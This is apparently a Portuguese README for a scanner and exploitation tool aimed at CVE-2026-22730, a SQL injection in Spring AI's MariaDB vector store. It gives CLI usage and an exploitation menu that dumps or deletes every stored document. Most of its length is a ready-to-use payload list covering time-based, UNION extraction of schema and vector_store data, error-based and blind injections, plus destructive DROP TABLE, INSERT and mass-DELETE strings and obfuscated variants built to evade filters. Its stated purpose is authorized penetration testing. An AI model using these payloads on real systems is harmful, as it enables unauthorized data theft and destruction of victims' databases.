
Scanner e ferramenta de exploração para CVE-2026-22730, uma injeção de SQL no armazenamento vetorial MariaDB do Spring AI. Suporta detecção baseada em tempo, métodos GET/POST e exploração com relatórios.
Uma ferramenta profissional de avaliação de segurança para CVE-2026-22730 – uma vulnerabilidade crítica de injeção SQL descoberta no vector store MariaDB do Spring AI. Esta ferramenta permite que testadores de penetração autorizados e pesquisadores de segurança detectem e explorem com segurança a vulnerabilidade para fins educacionais ou defensivos.
📖 Visão Geral
O CVE-2026-22730 afeta as versões do Spring AI 1.0.x < 1.0.4 e 1.1.x < 1.1.3 ao usar o vector store MariaDB. Devido ao escape inadequado de valores de string em expressões de filtro, um atacante pode injetar SQL arbitrário por meio de parâmetros controlados pelo usuário (por exemplo, filtros de metadados). Isso pode levar a:
Recuperação não autorizada de dados – contornando controles de acesso baseados em metadados
Exclusão completa do banco de dados – apagando todo o vector store (destrutivo)
Vazamento silencioso de dados – em pipelines RAG, dados vazados são incorporados às respostas do LLM sem detecção
Esta ferramenta fornece um método seguro e configurável para verificar a presença da vulnerabilidade e demonstrar seu impacto (com consentimento explícito) durante avaliações de segurança autorizadas.
🚀 Recursos
✅ Detecção baseada em tempo – usa injeção SLEEP() para confirmar a vulnerabilidade
✅ Múltiplos métodos HTTP – suporta GET (parâmetros de consulta) e POST (corpo JSON)
✅ Duração de sleep personalizável – ajuste para latência de rede ou requisitos de furtividade
✅ Opções de exploração – recuperar todos os documentos (SELECT) ou excluir todos (DELETE)
✅ Relatórios abrangentes – gera relatórios em HTML, JSON e texto simples
✅ CLI amigável – modo interativo e argumentos completos de linha de comando
✅ Sistema de payload extensível – integre facilmente strings de injeção personalizadas
📋 Requisitos
Python 3.6 ou superior
Biblioteca requests (pip install requests)
🔧 Instalação
bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 Uso
O script pode ser executado em modo interativo ou com argumentos de linha de comando.
Sintaxe Básica
bash
python cve-2026-22730_scanner.py [opções]
Opções
Opção Descrição
--url URL alvo (ex.: http://localhost:8081/api/docs)
--method Método HTTP: GET ou POST (padrão: GET)
--param Nome do parâmetro de consulta para GET, ou nome de referência para POST (opcional)
--json-template Modelo JSON com o espaço reservado PAYLOAD (obrigatório para POST)
--baseline Valor benigno para a solicitação de linha de base (padrão: inexistente)
--sleep Segundos de sleep para detecção baseada em tempo (padrão: 5)
Exemplos
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
bash
python cve-2026-22730_scanner.py
Você será solicitado a informar URL, método, parâmetro/modelo JSON, linha de base e tempo de sleep.
Fluxo de Exploração
Se o alvo for considerado vulnerável, o script apresenta um menu:
text
[?] O alvo está vulnerável. Escolha a opção de exploração:
1. Recuperar todos os documentos (injeção SELECT)
2. Excluir todos os documentos (injeção DELETE) - DESTRUTIVO
3. Pular exploração
A opção 1 envia ' OR '1'='1 para recuperar todas as linhas (não destrutivo, apenas lê dados).
A opção 2 envia o mesmo payload usando o método HTTP DELETE – remove permanentemente todos os registros. Requer confirmação explícita.
Todas as ações são registradas e incluídas no relatório final.
📁 Arquivos de Saída
Após cada execução, três arquivos com carimbo de data/hora são criados no diretório atual:
cve-2026-22730_YYYYMMDD_HHMMSS.json – relatório JSON legível por máquina com todos os detalhes.
cve-2026-22730_YYYYMMDD_HHMMSS.txt – resumo em texto simples, incluindo dados de exploração, se houver.
cve-2026-22730_YYYYMMDD_HHMMSS.html – relatório HTML formatado, adequado para compartilhamento ou arquivamento.
⚠️ Aviso Importante
Esta ferramenta destina-se exclusivamente a testes de segurança autorizados e fins educacionais.
O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal e antiético.
O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por este software.
Sempre obtenha permissão por escrito antes de escanear ou explorar qualquer alvo.
📚 Referências
GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm
Spring Security Advisory AV26‑245
Artigo de Pesquisa Original por SecureLayer7
🤝 Contribuições
Pull requests, relatórios de bugs e sugestões de recursos são bem-vindos. Abra uma issue primeiro para discutir mudanças importantes.
📄 Licença
Este projeto está licenciado sob a Licença MIT – consulte o arquivo LICENSE para obter detalhes.
Desenvolvido com ❤️ por Nabeel
Exemplo Para PYLOAD
Para a comunidade de segurança
📌 Como Usar Estes Payloads
No script, ao usar POST com --json-template, substitua PAYLOAD por qualquer payload da lista abaixo.
Para solicitações GET, basta passar o payload como valor do parâmetro (o script lida com a codificação de URL automaticamente).
🔥 Categorias de Payload
Estes causam um atraso se a injeção for bem-sucedida. Use-os para confirmar a vulnerabilidade.
Payload Descrição
' OR SLEEP(5) -- Payload padrão baseado em tempo. Se a consulta pausar por ~5 segundos, a injeção funciona.
' OR BENCHMARK(10000000,MD5('a')) -- Alternativa para MySQL/MariaDB (BENCHMARK).
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Sleep aninhado para contornar alguns filtros.
' OR 1=1 AND SLEEP(5) -- Combina condição sempre verdadeira com sleep.
Estes tornam a cláusula WHERE sempre verdadeira, retornando todos os registros.
Payload Descrição
' OR '1'='1 Injeção clássica sempre verdadeira.
' OR 1=1 -- Outra variante (requer um espaço após --).
' OR ''=' Baseia-se na comparação de string vazia.
' OR 1=1# Usa # para comentário no MariaDB (codificado em URL como %23).
' OR 1=1 LIMIT 1 -- Retorna apenas uma linha (útil para saída controlada)
Útil quando o aplicativo exibe resultados. Você precisa corresponder ao número de colunas.
Payload Descrição
' UNION SELECT NULL, database(), user(), version() -- Recupera nome do banco de dados, usuário, versão. (Ajuste a contagem de NULL para corresponder às colunas.)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Lista tabelas.
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Lista colunas.
' UNION SELECT 1, content, metadata FROM vector_store -- Despeja dados reais (se a contagem de colunas corresponder).
Dispara erros que vazam informações.
Payload Descrição
' AND extractvalue(1, concat(0x7e, database())) -- Baseado em erro MariaDB/MySQL.
' AND updatexml(1, concat(0x7e, version()), 1) -- Outro método de erro.
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Erro de chave duplicada.
Útil quando nenhuma saída ou erro é exibido, mas o comportamento do aplicativo muda.
Payload Descrição
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Verifica o primeiro caractere do nome do banco de dados.
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Verifica o número de tabelas.
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Testa a existência de uma tabela.
Payloads destrutivos (use com extrema cautela).
Payload Descrição
' OR '1'='1 Quando usado com DELETE, remove todas as linhas.
' OR 1=1; DROP TABLE vector_store -- Tenta eliminar a tabela inteira (requer consultas empilhadas, geralmente desabilitadas).
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Tenta inserir novos dados.
Versões ofuscadas para evadir correspondência de padrões simples.
Payload Descrição
%27%20OR%20SLEEP(5)%20-- Codificado em URL (o script lida com isso automaticamente).
' //OR//SLEEP(5)/**/-- Comentários inline para dividir palavras-chave.
' OR 0x273d27=0x273d27 -- Comparação codificada em hexadecimal ('=').
' OR 1=1 /!50000SLEEP(5)/ -- Comentário específico de versão do MySQL.
Payload Descrição
' OR '1'='1 Usado para recuperar todos os documentos (prova de conceito).
' OR SLEEP(5) -- Payload de detecção baseado em tempo usado no scanner.
' OR '1'='1 Também usado para a injeção DELETE.
📝 Exemplos de Modelos JSON com Payload
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
No script, você passaria o modelo como:
bash
--json-template '{"department": "PAYLOAD"}'
O script substituirá PAYLOAD pelo payload real.
NOTA sobre URL
O script requer a URL completa do endpoint que aceita o parâmetro vulnerável. Por exemplo:
✅ http://example.com/api/docs – se o endpoint for /api/docs
✅ http://example.com/search – se o endpoint for /search
❌ http://example.com – não é suficiente, o script precisa do caminho exato